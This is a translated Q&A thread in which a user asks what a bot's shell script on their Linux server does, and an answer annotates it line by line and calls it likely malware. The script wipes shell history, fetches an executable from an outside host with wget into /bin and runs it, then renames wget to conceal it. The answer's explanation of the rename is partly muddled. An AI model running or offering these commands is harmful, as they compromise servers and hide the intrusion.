linux - 有人可以为我解释一下机器人试图做什么吗？

Question

PATH=$PATH:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin 
unset HISTFILE HISTLOG HISTORY 
HISTFILE=/dev/null 
HISTSIZE=0 
cd /bin/ 
wget http://wesaem.co.kr/download/m/5414 -O acxxxhruvc 
chmod + x acxxxhruvc /bin/acxxxhruvc 
good http://wesaem.co.kr/download/m/5414 -O acxxxhruvc 
chmod + x acxxxhruvc /bin/acxxxhruvc 
sleep 2 
mv /usr/bin/wget /usr/bin/good 
mv /bin/wget /bin/good 
ls -la /etc/daemon.cfg 
exit 0

Answer 1

我的评论在下面内嵌

PATH=$PATH:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

unset HISTFILE HISTLOG HISTORY
HISTFILE=/dev/null
HISTSIZE=0

cd /bin/

#download an executable
wget http://wesaem.co.kr/download/m/5414 -O acxxxhruvc
chmod + x acxxxhruvc

#run the downloaded executable
/bin/acxxxhruvc
good http://wesaem.co.kr/download/m/5414 -O acxxxhruvc
#it seems like it downloads an executable to overwrite the existing one
chmod + x acxxxhruvc
/bin/acxxxhruvc

sleep 2

#remove the wget application and overwrite the good application with it
mv /usr/bin/wget /usr/bin/good
mv /bin/wget /bin/good

list the details of this daemon.cfg file
ls -la /etc/daemon.cfg

exit 0

基本上，好的应用程序会被 wget 覆盖，我猜它的行为是一样的。

总的来说，它不会执行您可能想要的任何操作。可能是恶意软件。